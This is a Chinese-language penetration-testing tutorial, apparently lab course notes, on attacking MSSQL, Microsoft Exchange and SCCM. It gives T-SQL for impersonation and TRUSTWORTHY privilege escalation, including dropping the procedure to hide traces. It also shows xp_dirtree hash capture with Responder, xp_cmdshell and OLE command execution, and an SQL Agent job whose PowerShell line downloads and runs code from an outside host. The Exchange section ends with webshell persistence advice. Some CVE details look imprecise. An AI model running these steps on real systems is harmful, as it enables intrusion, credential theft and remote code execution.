MSSQL攻击
概念
MSSQL是由微软开发的一款专有关系型数据库管理系统。它在众多竞争对手中脱颖而出,原因包括其与 Active Directory 和 .NET 的紧密集成。他有过去几十年来建立起来的庞大开发者社区,以及在处理海量数据时可靠的性能
MSSQL有它自己的SQL语言,叫Transact-SQL,并通过引入过程式编程、局部变量、各种支持函数以及对DELETE和UPDATE语句的增强,扩展了SQL功能
使用MSSQLClient
Impacket是一款使用python,包含多项不同网络控制协议的开源项目。我们可以通过MSSQL Server authentication来连接数据库
#使用 SQL 账号密码认证连接
mssqlclient <DB_USERNAME>:<PASSWORD>@<TARGET_IP> -port 1433
# 使用 Windows 身份验证 (NTLM) 连接
mssqlclient <DOMAIN>/<DB_USERNAME>:<PASSWORD>@<TARGET_IP> -windows-auth
# 使用 NTLM Hash 连接 (Pass-the-Hash)
mssqlclient <DOMAIN>/<DB_USERNAME>@<TARGET_IP> -hashes :<NTLM_HASH> -windows-auth
使用SSMS
更常见的连接方式是使用Microsoft SQL Server Management Studio (SSMS),通过官方工具sqlcmd来连接
枚举MSSQL Server
再连接后的第一件事情就是去枚举数据库中可能的有效数据,比如邮件、密码、凭证或者信用卡。在确定了所交互的数据库服务器类型之后,我们应该尝试针对该特定服务器的攻击,以实现进一步的目标(例如在底层系统上执行命令)。在尝试任何针对 MSSQL 的特定攻击之前,我们先来看看有哪些信息是需要进行枚举的。
MSSQL登录枚举
在MSSQL Server中会有很多的登录者和用户。这两者都属于安全主体,区别在于:登录名(login)属于服务器级别,而用户(user)属于数据库级别。一个登录名可以映射到跨多个数据库的多个用户,但在每个数据库中最多只能映射一个用户。
我们可以通过下面这些语句来查询服务器级角色
-- 1. 查询当前登录身份与对应的数据库用户
SELECT SYSTEM_USER; -- 当前服务器登录名 (Login)
SELECT USER_NAME(); -- 当前数据库用户名 (User)
SELECT IS_SRVROLEMEMBER('sysadmin'); -- 检查当前用户是否为 sysadmin (返回 1 表示是,0 表示否)
-- 2. 查询服务器级角色 (Server-Level Roles) 与成员
-- 枚举所有服务器角色 (如 sysadmin, serveradmin, setupadmin 等)
SELECT * FROM sys.server_role_members;
-- 查看哪些 Login 拥有哪些服务器角色 (常用)
SELECT
p.name AS LoginName,
r.name AS RoleName
FROM sys.server_role_members rm
JOIN sys.server_principals r ON rm.role_principal_id = r.principal_id
JOIN sys.server_principals p ON rm.member_principal_id = p.principal_id;
-- 3. 查询所有登录名 (Logins)
-- 查看服务器上所有的 Login 及其状态 (如是否被禁用、类型等)
SELECT name, type_desc, is_disabled FROM sys.server_principals WHERE type IN ('S', 'U', 'G');
-- S = SQL Login, U = Windows User, G = Windows Group
-- 4. 查询数据库级角色与用户 (Database-Level Roles & Users)
-- 查看当前数据库中的所有映射用户
SELECT name, type_desc FROM sys.database_principals WHERE type IN ('S', 'U', 'G');
-- 查看当前数据库中的角色成员关系 (如 db_owner, db_datareader 等)
SELECT
dp.name AS UserName,
dr.name AS RoleName
FROM sys.database_role_members rm
JOIN sys.database_principals dr ON rm.role_principal_id = dr.principal_id
JOIN sys.database_principals dp ON rm.member_principal_id = dp.principal_id;
-- 5. 枚举可模拟/借用身份的登录名 (Impersonation / EXECUTE AS)
-- 检查当前账号是否拥有对其他 Login 的 IMPERSONATE 权限 (经典提权路径)
SELECT * FROM sys.fn_my_permissions(NULL, 'SERVER') WHERE permission_name = 'IMPERSONATE';
数据库枚举
我们可以使用以下 T-SQL 查询来列出数据库及其所有者(主体),并查看它们是否被标记为“可信”(trustworthy)。
-- 1. 枚举所有数据库、其所有者 (Owner) 以及 TRUSTWORTHY 标记状态
SELECT
name AS DatabaseName,
SUSER_SNAME(owner_sid) AS DatabaseOwner,
is_trustworthy_on
FROM sys.databases;
-- 2. 快捷筛选:直接查找开启了 TRUSTWORTHY 且所有者为 sa 的数据库 (高价值提权目标)
SELECT
name AS DatabaseName,
SUSER_SNAME(owner_sid) AS DatabaseOwner,
is_trustworthy_on
FROM sys.databases
WHERE is_trustworthy_on = 1 AND SUSER_SNAME(owner_sid) = 'sa';
-- 3. 查看当前用户在各个数据库中的权限/映射身份
SELECT
db.name AS DatabaseName,
dp.name AS MappedUser,
dp.type_desc AS UserType
FROM sys.databases db
CROSS APPLY (
SELECT * FROM HAS_DBACCESS(db.name)
) AS access
JOIN sys.database_principals dp ON dp.sid = SUSER_SID()
WHERE access.Value = 1;
-- 4. 枚举当前数据库中的表、视图与敏感数据 (常规数据收集)
-- 列出当前数据库的所有表
SELECT table_catalog, table_schema, table_name, table_type
FROM INFORMATION_SCHEMA.TABLES;
-- 列出包含指定敏感关键字 (如 pass, user, admin, secret) 的列名
SELECT column_name, table_name
FROM INFORMATION_SCHEMA.COLUMNS
WHERE column_name LIKE '%pass%' OR column_name LIKE '%user%' OR column_name LIKE '%admin%';
用户枚举
-- 1. 列出所有数据库登录名 (Logins) 及相关信息
-- 查看所有登录名、类型以及是否被禁用
SELECT
name AS LoginName,
type_desc AS LoginType,
is_disabled AS IsDisabled,
create_date AS CreateDate
FROM sys.server_principals
WHERE type IN ('S', 'U', 'G');
-- S = SQL 登录名, U = Windows 登录名, G = Windows 组
-- 2. 获取所有数据库用户 (Users)
-- 切换到目标数据库后执行,查看该数据库中映射的用户
SELECT
name AS UserName,
type_desc AS UserType,
authentication_type_desc AS AuthType
FROM sys.database_principals
WHERE type IN ('S', 'U', 'G');
-- 3. 获取 SQL 登录名密码哈希 (仅 sysadmin 权限可用)
-- MSSQL 的哈希通常使用 SHA-512 (如果是较老版本可能是 SHA-1/MD5),可以使用 hashcat 进行爆破
SELECT
name AS LoginName,
password_hash AS PasswordHash
FROM sys.sql_logins;
-- 💡 渗透测试提示:
-- 拿到哈希后,MSSQL 2012 及以上版本的 Hashcat 格式为:-m 1731 (mshash)
-- 较老的 MSSQL 2000/2005/2008 版本为:-m 131
权限提取
简介
我们要探讨的第一类针对 MSSQL Server 的攻击是权限提升。这可能涉及从一个登录名切换到另一个登录名、从一个用户切换到另一个用户,甚至是从一个登录名切换到域用户。通常,在谈论 MSSQL Server 中的权限提升时, 其目标是最终获得具有服务器级 sysadmin(系统管理员)角色的登录权限——例如内置的 sa 登录名;这相当于 Windows 环境下(本地)权限提升时涉及的 BUILTIN\Administrators 组。
注意:sa登录是否默认包含是在下载时可以选择的
模拟登录
MSSQL Server 提供了一条名为 EXECUTE AS 的语句,允许某个登录名(或用户)将当前会话的执行上下文切换为另一个登录名(或用户),从而在实质上模拟该身份,直到使用 REVERT 语句显式切回原上下文为止。
哪些登录名有权模拟其他登录名,是由存储在 sys.server_permissions 表中的服务器级 IMPERSONATE 权限控制的。我们可以通过以下 T-SQL 查询列出当前登录名有权模拟的所有登录名:
-- 1. 查询当前登录名有权模拟(IMPERSONATE)的所有其他登录名
SELECT
distinct pr.name AS GrantorName, -- 被模拟的登录名 (目标高权限账号,如 sa)
pe.permission_name AS Permission,
pe.state_desc AS State,
pr2.name AS GranteeName -- 拥有模拟权限的登录名 (当前低权限账号)
FROM sys.server_permissions pe
INNER JOIN sys.server_principals pr ON pe.grantor_principal_id = pr.principal_id
INNER JOIN sys.server_principals pr2 ON pe.grantee_principal_id = pr2.principal_id
WHERE pe.permission_name = 'IMPERSONATE';
-- 2. 执行身份模拟 (Impersonation)
-- 如果上一步发现当前账号对 'sa' 有 IMPERSONATE 权限,执行以下命令切换上下文:
EXECUTE AS LOGIN = 'sa';
-- 3. 验证身份是否切换成功
-- 执行以下语句,如果返回的是 'sa',说明模拟提权成功!
SELECT SYSTEM_USER; -- 应该返回 sa
SELECT USER_NAME(); -- 应该返回 dbo (sa 默认映射为 dbo)
SELECT IS_SRVROLEMEMBER('sysadmin'); -- 应该返回 1 (拥有系统管理员权限)
-- 4. 释放模拟身份,回退到原始低权限账号
-- 操作完成后必须执行此命令,否则后续操作将一直维持 sa 权限
REVERT;
-- 5. 验证是否成功退回原始身份
SELECT SYSTEM_USER; -- 此时应重新返回你的低权限 Login 账号
滥用可信数据库
MSSQL Server 数据库具有一个名为 TRUSTWORTHY 的属性,该属性指示 MSSQL Server 实例是否应信任该数据库及其内容。
默认情况下,此属性处于关闭状态;但拥有 sysadmin 角色的登录名(用户)若需要访问服务器级资源,则可以将其启用。
如果某个数据库被标记为 TRUSTWORTHY,且我们控制了属于数据库级 db_owner 角色的用户(或能够以该用户身份执行操作),那么我们就有可能将服务器级的 sysadmin 角色分配给任意登录名。
-- 1. 切换到那个开启了 TRUSTWORTHY 的高价值数据库
USE webshop;
-- 2. 验证当前数据库是否确实开启了 TRUSTWORTHY,且所有者为 sa
SELECT name, SUSER_SNAME(owner_sid) AS Owner, is_trustworthy_on
FROM sys.databases
WHERE name = DB_NAME();
-- 预期结果:webshop | sa | 1
暂时提权
-- 1. 利用 EXECUTE AS USER 模拟该数据库的 dbo 身份
-- 这一步是关键!因为你是 db_owner,你完全有权模拟 dbo
EXECUTE AS USER = 'dbo';
-- 2. 验证是否成功提权到 sysadmin 级别
-- 此时,因为 TRUSTWORTHY 开启,模拟 dbo 会直接将你的服务器级上下文也提升到 sa!
SELECT SYSTEM_USER; -- 此时应该显示 sa
SELECT IS_SRVROLEMEMBER('sysadmin'); -- 此时应该返回 1 (证明你已拥有 sysadmin 权限)
持久化提权
-- 1. 创建带有 WITH EXECUTE AS OWNER 属性的存储过程
-- 此时存储过程在运行期间,会强制以数据库 Owner(即 sa)的身份执行代码
CREATE PROCEDURE sp_privesc
WITH EXECUTE AS OWNER
AS
BEGIN
-- 将低权限登录名 'ws_dev' 永久加入服务器级管理员组
EXEC sp_addsrvrolemember 'ws_dev', 'sysadmin';
END;
GO
-- 2. 执行存储过程,触发提权逻辑
EXEC sp_privesc;
-- 3. 卸磨杀驴:删除该存储过程以抹除行为痕迹
DROP PROCEDURE sp_privesc;
-- 4. 验证提权结果(重新登录或新建连接后验证)
SELECT IS_SRVROLEMEMBER('sysadmin', 'ws_dev'); -- 预期返回:1
UNC路径注入
最后一个提权路径是通过UNC技术,这个技术允许我们捕获运行当前MSSQL的用户的NetNTLMv2。默认情况下,该服务以 NT SERVICE\mssqlserver 身份运行;但许多数据库管理员会将其修改为以域用户身份运行,以便与域内的其他服务器、服务及资源进行交互。
为了获取该哈希值,我们需要利用某些未公开的扩展存储过程。MSSQL Server 中包含若干此类过程(如 a、b、c),其中包括:
- xp_fileexist : 检查指定文件是否存在
- xp_dirtree : 根据提供的目录返回目录树
- xp_subdirs : 返回指定目录的子目录列表
作为攻击者,我们可以利用 Responder 在自己的机器上搭建一个伪造的 SMB 共享,从而滥用这一功能
sudo responder -I tun0 -v
然后,让服务器尝试使用这些存储过程之一来访问它:
EXEC xp_dirtree '\\<IP>\a';
EXEC xp_subdirs '\\<IP>\a';
EXEC xp_fileexist '\\<IP>\a';
如果成功,MSSQL Server 服务将针对我们伪造的 SMB 共享进行身份验证,从而使我们能够捕获其 NetNTLMv2 哈希值。
我们需要使用hashcat并通过5600进行破解
hashcat -m 5600 '<SNIP>' /usr/share/wordlists/rockyou.txt
命令执行
在将权限提升至拥有 sysadmin 角色的登录账户后,执行命令往往是顺理成章的下一步。在 MSSQL Server 中有多种实现方式
高级服务配置选项
以下两种技术需要启用高级服务器配置选项,而这些选项默认处于禁用状态。若要设置 MSSQL Server 配置选项,需使用 sp_configure 存储过程。高级选项默认是隐藏的,但拥有 sysadmin 角色的登录名可通过执行以下 T-SQL 查询将其显示出来。请注意 RECONFIGURE 语句,该语句用于实际更新服务器配置。
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
执行方法
xp_cmdshell 执行命令
在 MSSQL Server 上实现命令执行,首选且最广为人知的方法是使用 xp_cmdshell 扩展存储过程。从技术角度来看,该过程的设计初衷正是为了执行命令;然而,由于它常被攻击者(滥)用,微软在文档中加入了安全警示,并将其默认设置为禁用状态。
更改xp_cmdshell默认配置
在高级选项可见后,执行以下命令将 xp_cmdshell 从 0(禁用)修改为 1(启用):
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
执行系统命令
EXEC xp_cmdshell 'ipconfig';
在后台,xp_cmdshell 会启动一个 cmd.exe 进程作为 sqlservr.exe(MSSQL Server 服务的可执行文件)的子进程,并将传递给 xp_cmdshell 的字符串作为命令行参数(例如 /c notepad.exe)传入。
执行完命令后,建议将 xp_cmdshell 和“显示高级选项”的配置恢复为修改前的值。
备份工作执行命令
另一个能执行命令的方法是通过备份MSSQL做到的
USE msdb;
GO
EXEC sp_add_job
@job_name = N'Malicious Job';
GO
EXEC sp_add_jobstep
@job_name = N'Malicious Job',
@step_name = N'Execute PowerShell Script',
@subsystem = N'PowerShell',
@command = N'(New-Object
Net.WebClient).DownloadString("http://10.10.14.104/a")|IEX;',
@retry_attempts = 5,
@retry_interval = 5;
GO
EXEC sp_add_jobserver
@job_name = N'Malicious Job';
GO
EXEC sp_start_job
@job_name = N'Malicious Job';
GO
OLE 自动化存储过程执行命令
“OLE 自动化存储过程”(Ole Automation Procedures)是 SQL Server 提供的一组特殊的系统存储过程(以 sp_OA 开头)。它允许数据库直接调用 Windows 系统的 COM 组件(ActiveX 对象)。
-- 1. 开启高级选项显示
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
-- 2. 启用 OLE 自动化存储过程
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;
执行命令:
-- 声明一个变量,用来存放创建出来的 COM 对象句柄(Token)
DECLARE @shell INT;
-- 1. 创建 WScript.Shell 对象,将句柄存入 @shell
EXEC sp_OACreate 'WScript.Shell', @shell OUTPUT;
-- 2. 调用该对象的 'Run' 方法执行系统命令
-- 这里的 0 表示隐藏执行窗口,True 表示同步等待命令执行完毕
EXEC sp_OAMethod @shell, 'Run', NULL, 'cmd.exe /c whoami > C:\windows\temp\result.txt', 0, 'True';
-- 3. 释放创建的对象(随手关门,防止内存泄漏或被管理员轻易发现)
EXEC sp_OADestroy @shell;
工具
这里我推荐使用impacket-mssql来进行相关操作
可以通过在 Impacket MSSQLClient 中执行 help 命令来查看内置命令列表:
SQL (ws_dev guest@master)> help
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
enable_xp_cmdshell - you know what it means
disable_xp_cmdshell - you know what it means
enum_db - enum databases
enum_links - enum linked servers
enum_impersonate - check logins that can be impersonated
enum_logins - enum login users
enum_users - enum current db users
enum_owner - enum db owner
exec_as_user {user} - impersonate with execute as user
exec_as_login {login} - impersonate with execute as login
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
xp_dirtree {path} - executes xp_dirtree on the path
sp_start_job {cmd} - executes cmd using the sql server agent(blind)
use_link {link} - linked server to use (set use_link localhost to go back to local or use_link .. to get back one step)
! {cmd} - executes a local shell cmd
show_query - show query
mask_query - mask query
枚举
Impacket 的 MSSQLClient 提供了六种不同的 enum_ 命令,用于枚举 MSSQL Server 实例的各个方面——从可供模拟的登录账户到链接服务器,涵盖广泛。
权限提升
我们可以利用 Impacket MSSQLClient 内置的命令,将我们之前讨论过的两种提权方式实现自动化。具体来说,我们可以使用 exec_as_login 函数来模拟登录账户
exec_as_login sa
我们可以利用 xp_dirtree 命令窃取该服务的 NetNTLMv2 哈希值。
xp_dirtree \\10.10.14.104\a
命令执行
Impacket MSSQLClient 内置了相关方法,可通过 enable_xp_cmdshell、xp_cmdshell 和 disable_xp_cmdshell 命令利用 xp_cmdshell 执行指令。
此外,还可以利用 MSSQL Server Agent 作业(SQL Server 代理作业)来(盲目地)实现代码执行。
Exchange攻击
在当今时代,组织内部员工(同事)之间的沟通主要通过电子邮件以及 Microsoft Teams、Slack、Rocket.Chat 等通信平台进行。随着互联网行业的兴起,各类组织不得不顺应潮流,转向员工之间乃至与客户之间的数字化沟通。几乎所有组织都拥有内部和外部的消息传递渠道,且主要依赖电子邮件。如今,企业纷纷利用 Microsoft Exchange、Google Mail 等服务来管理其电子邮件基础设施。然而,正如后文将要探讨的那样,若对这些系统疏于管理,可能会危及系统的安全性。
截至 2024 年,Microsoft Exchange 已被几乎所有组织采用,用于内部及外部的电子邮件通信。Exchange 最初于 1996 年发布,此后历经多次迭代与变革。目前受支持的 Exchange 版本为 2016 版和 2019 版。Microsoft Exchange 采用多种协议进行通信,例如 Exchange Web Services (EWS)、Outlook Web App (OWA)、MAPI over HTTP 以及 ActiveSync (EAS)。简而言之,EWS 是一种跨应用程序使用的、基于 HTTP 的 SOAP 协议。
Microsoft Exchange 服务/组件:
| 服务 (组件) | 功能描述 |
|---|---|
| 自动发现 (AutoDiscover) | 一种仅使用用户名和密码即可连接到 Exchange 服务器的方法 |
| Outlook 网页版 (Outlook Web App) | 电子邮件客户端 |
| 全局地址列表 (GAL) | Active Directory(活动目录)中所有用户电子邮件地址的目录 |
| Outlook 规则 (Outlook Rules) | 一套基于不同筛选条件自动运行的触发器 |
与 Exchange 交互
我们可以通过多种方式与 Exchange 交互。如果我们知道 Exchange 的确切地址,就可以通过浏览器访问它。这正是 Outlook Web App 发挥作用的地方,它允许用户无需使用电子邮件客户端即可与该电子邮件服务进行交互。
Exchange 预期的登录格式为 DOMAIN\username,其中域名可以是 inlanefreight.local、logistics.local 等。具体的用户名取决于该组织 Active Directory 环境中所采用的命名规范。成功登录后,系统会显示邮箱界面。默认情况下,“收件箱”会存放用户接收到的所有邮件;此外,界面中还包含用于查看草稿、已发送邮件(Sent Items)、已删除邮件(Deleted Items)以及垃圾邮件(Junk,即 Spam 文件夹)的视图(或称目录)。
另一个关键视图(或功能)是“人员”(People),其中包含邮件服务器上所有能够收发邮件的用户信息。这些人员及其邮件往来是至关重要的信息来源,有助于我们加深对公司员工的了解——因为其中许多人可能拥有额外的详细信息(例如在公司的职位或电话号码),可供我们用于实施进一步的网络钓鱼攻击。
电子邮件中包含海量信息,涵盖了员工或客户之间的常规沟通内容以及以纯文本形式发送的信息。我们可以利用搜索功能,深入了解包含此类信息的邮件或草稿
枚举
在深入研究 Exchange 之前,枚举阶段至关重要,因为它能揭示该组织的电子邮件地址结构。每个组织生成员工电子邮件地址方案的方式各不相同,例如可能采用 [email protected]、[email protected] 或 [email protected] 等格式。此类信息可以通过多种公开渠道获取,包括 LinkedIn 上的社交媒体帖子、公司网站、网络研讨会、名片等。
用户枚举
掌握了潜在员工的信息(如姓名)后,我们可以利用 usernameAnarchy 工具,根据不同的格式生成一份用户名列表。
如果我们需要特定的格式,可以使用 --list-formats 选项打印格式列表,并在运行 username-anarchy 时指定所需的格式
密码喷洒
Ruler 是一款允许用户通过 MAPI/HTTP 或 RPC/HTTP 协议远程与 Exchange 服务器进行交互的工具。其主要目的是利用 Outlook 客户端功能来获取远程 Shell。该工具支持多种命令,可用于利用现有访问权限或获取对 Exchange 的访问权限;这些功能涵盖了添加、删除、查看规则以及检查用户邮箱等操作。Ruler 还能利用自动发现(Auto-discover)功能,根据指定的用户列表发现电子邮件地址;在获取有效邮箱地址后,它还支持执行密码喷洒(password spray)攻击。
版本枚举
我们可以从 Exchange 服务器获取的另一项关键信息是其版本。了解 Exchange 的具体版本至关重要,因为这有助于我们识别可能被利用的潜在漏洞。不同的 Exchange 版本存在多种已知漏洞
curl
https://10.129.230.37/ecp/Current/exporttool/microsoft.exchange.ediscovery
.exporttool.application -k | xmllint --format - | grep version
NTLM 端点枚举
若要执行 NTLM 端点枚举,可以使用 ntlmscan(一款 Python3 工具)。该工具会针对 paths.dic 默认字典中的预定义端点执行各项检查,并找出需要 NTLM 身份验证的端点;例如 autodiscover 和 ews。
我们可以利用 Nmap 脚本 http-ntlm.info.root 枚举 HTTPS 服务,提取域名、计算机名等相关信息,以便后续使用
漏洞
多年来,Microsoft Exchange 曾曝出多个严重漏洞,其中之一便是 ProxyShell。这是一组漏洞链,最初由安全研究员 Orange Tsai 于 2021 年初发现。ProxyShell 属于一种无需身份验证即可执行远程代码的漏洞,攻击者无需获知邮箱密码,即可利用该漏洞以 NT AUTHORITY\SYSTEM 权限访问系统。微软 Exchange 团队已发布公告,要求系统管理员更新其 Exchange 实例,以修复这些问题。
预授权路径混淆
ProxyShell 利用链的第一个漏洞(CVE-2021-34473)是预授权路径混淆:Exchange 的客户端访问服务(CAS)在处理特定构造的 URL 时,错误地把本应经过认证的请求当作无需认证的请求转发给后端。攻击者通过构造形如 /autodiscover/autodiscover.json?@evil.com/... 的请求,绕过前台的身份校验,直接访问后端 PowerShell 端点,从而在没有凭据的情况下获得执行能力。
任意文件执行
ProxyShell 链的第三步(CVE-2021-34523)绕过 RBAC 权限校验后,攻击者可通过 Exchange 的后台接口(如 /ecp/yyy.js)写入 WebShell 或直接执行命令,最终以 SYSTEM 权限获取目标服务器控制权。
如今,大多数企业都部署了完善的电子邮件防护措施,以防范黑客发送包含 .exe、.ps1 等扩展名附件的网络钓鱼邮件,这迫使网络钓鱼攻击者转而使用 .zip、.pdf、.doc、.xls 等更传统的文件格式。若要通过发送文件来实现远程代码执行,我们必须熟悉宏(macros)以及其他利用多种文件类型执行代码的攻击手法。这些方法超出了本节的讨论范围,将在后续的红队(Red Team)课程模块中进行讲解。
此外,利用 Shellter Project 等工具,攻击者可以将恶意代码注入到 PuTTY、Deezer 或 Outlook 等合法可执行文件中;一旦受害者运行该文件,恶意代码便会触发反向 Shell(reverse shell)。
HTML Smuggling
过去几年中,网络钓鱼攻击显著增加。攻击者利用各种手段向受害者植入恶意载荷,其中一种手段被称为“HTML 走私”(HTML Smuggling)。该手法诱导受害者访问看似无害但实则恶意的网址(网站);一旦受害者访问该网站,恶意文件便会自动下载到其计算机上。《HTML 走私:一种更隐蔽的恶意软件传播手段》一文深入分析了 Qakbot 恶意软件所采用的这一攻击途径;该手法通过构建看似合法的网站来诱骗受害者。
常见 CVE 速查
Exchange 的“Proxy 系列”漏洞是内网渗透中最高频的利用面,均通过暴露在公网 / 内网的 Exchange 端口(443)打穿到 SYSTEM:
| 名称 | 漏洞链 CVE | 影响 | 利用前提 |
|---|---|---|---|
| ProxyShell (2021) | CVE-2021-34473 / CVE-2021-34523 / CVE-2021-31207 | 预认证 RCE → SYSTEM | Exchange 2013/2016/2019 未打补丁 |
| ProxyLogon (2021) | CVE-2021-26855 / CVE-2021-27065 | 预认证 RCE → SYSTEM | Exchange 未打补丁,常与 Hafnium 攻击关联 |
| ProxyOracle (2021) | CVE-2021-31195 / CVE-2021-31196 | 预认证 XSS + 反序列化窃取凭据 | 诱导管理员访问恶意链接 |
| ProxyNotShell (2022) | CVE-2022-41040 / CVE-2022-41082 | 预认证 RCE → SYSTEM | Exchange 需开启 PowerShell 端点,可临时用 URL Rewrite 规则缓解 |
| CVE-2020-0688 | CVE-2020-0688 | 已知密钥(静态 validation key)反序列化 RCE | 拥有任意一个有效邮箱凭据 |
实战思路:先通过
curl /owa/auth/15.x.x/...或版本指纹判断 Exchange 版本,再对应利用链打 ProxyShell / ProxyLogon;拿到 SYSTEM 后通常可在C:\inetpub\wwwroot\aspnet_client\落 WebShell 做持久化,或从 IIS 应用池内存中 dump 出域用户凭据。
SCCM
System Center Configuration Manager (SCCM)——现已更名为 Microsoft Endpoint Configuration Manager (MECM),近期又更名为 Microsoft Configuration Manager (ConfigMgr)——是企业 IT 环境管理中的重要支柱。
这款由微软开发的软件旨在帮助系统管理员管理大型 Active Directory 环境中的服务器与工作站,实现对资源和系统的集中化管理。它提供了多种功能,包括安装与卸载应用程序、配置网络及应用参数,以及部署补丁和更新。此外,SCCM 还支持脚本运行与操作系统部署,使其成为复杂企业 IT 环境中处理各类任务的必备工具。
SCCM 是一种本地部署解决方案,但微软也维护着一款名为 Intune 的云原生客户端管理套件。Intune 和 SCCM 均属于 Microsoft Endpoint Manager 这一综合管理体系。
SCCM 架构
SCCM 的部署基于一种对其管理至关重要的层级结构。
该架构包含一个主服务器(Primary Server),它是系统的核心,负责管理 SCCM 站点,并由一个独特的站点代码进行标识。SCCM 站点是一个独立的 SCCM 运行环境。此配置的核心是 MSSQL 主数据库,它存储了与 SCCM 站点相关的所有数据,涵盖从用户和计算机信息到 SCCM 客户端位置、应用程序等各类内容。该数据库既可以部署在主服务器上,也可以部署在专用服务器上。
系统中集成了一个名为 SMS Provider(SMS 提供程序)的关键组件,用于促进主服务器上的 SCCM 服务与 MSSQL 主数据库之间的通信与交互。它在两者之间提供了一组接口,以便向客户端传递必要信息(如可用的软件更新),并支持客户端传达诸如软件部署状态及存储在站点数据库中的资产清单数据等信息。SMS Provider 同样可以部署在主服务器或特定服务器上。
支撑这一基础设施的两个基本服务是分发点(DP)和管理点(MP)。分发点负责将应用程序、脚本和其他程序包高效地分发到逻辑分组的客户端计算机;管理点则协调各种配置信息从客户端计算机到主服务器的传输,从而确保通信顺畅。
此外,在这些服务与主服务器之间还可以集成辅助站点服务器(Secondary Site Servers),尽管它们并非必需组件。辅助站点服务器拥有自己的本地数据库,通常供带宽受限环境下的客户端使用,旨在减轻主服务器的负载并确保最佳性能。在高可用性环境中,还可能存在被动站点服务器;仅当主服务器发生故障时,这些服务器才会被激活。
下图展示了实验环境基础设施的配置方式:

部署方式
有多种方法可在计算机上部署 SCCM 客户端,每种方法各有利弊
- 客户端推送安装(默认安装):这是默认且最常用的方案,它会自动将 SCCM 客户端部署到目标计算机上。
- 基于软件更新的安装:此方法利用软件更新机制将 SCCM 客户端部署到设备上。
- 组策略安装:此方法利用组策略,在关联了这些策略的计算机上安装 SCCM 客户端。
- 手动安装:此方法需要人工干预,逐台在计算机上安装 SCCM 客户端。
- 登录脚本安装:通过计算机上的登录脚本启动安装。
- 软件包与程序安装:这涉及将 SCCM 客户端打包为专用程序以进行部署。
部署 SCCM 的第一种方式是“客户端推送安装”法,这也是默认且安全性最低的方法。
当启动 SCCM 部署时,系统会尝试使用各个“客户端推送帐户”在每台资产上进行身份验证。如果身份验证失败,SCCM 将尝试列表中的下一个帐户。一旦身份验证成功,系统便会转至下一台资产,依此类推,直至部署完成。如果某台机器没有可用的帐户,SCCM 服务器将尝试使用该机器的计算机帐户进行身份验证,作为最后的手段。
PXE 初始访问
预引导执行环境(PXE)是一种通过网络引导计算机的机制。PC 不再从光驱、USB 闪存盘或硬盘读取引导程序,而是利用网络从 PXE 服务器获取该程序。PXE 是一个独立于 SCCM 的程序;网络中存在 PXE 服务器并不一定意味着存在 SCCM 基础设施。同样,PXE 基础设施也不一定包含 SCCM 服务器。
然而,在企业环境中,在 SCCM 基础设施内找到 PXE 服务器是很常见的。
PXEThief(基于 Python 编写,因依赖 pywin32 库而仅适用于 Windows,且在 Python 3.10 环境下运行效果更佳)可用于查询 PXE 引导介质;它通过发送广播请求来获取 DHCP PXE 引导选项。使用 -h 选项即可显示 PXEThief 的帮助菜单、用法说明及支持的选项
python .\pxethief.py -h
当设置了 PXE 密码时,自动发现选项(选项 1)似乎无法正常工作;因此,最好使用选项 2 直接指定分发点(Distribution Point)的 IP 地址。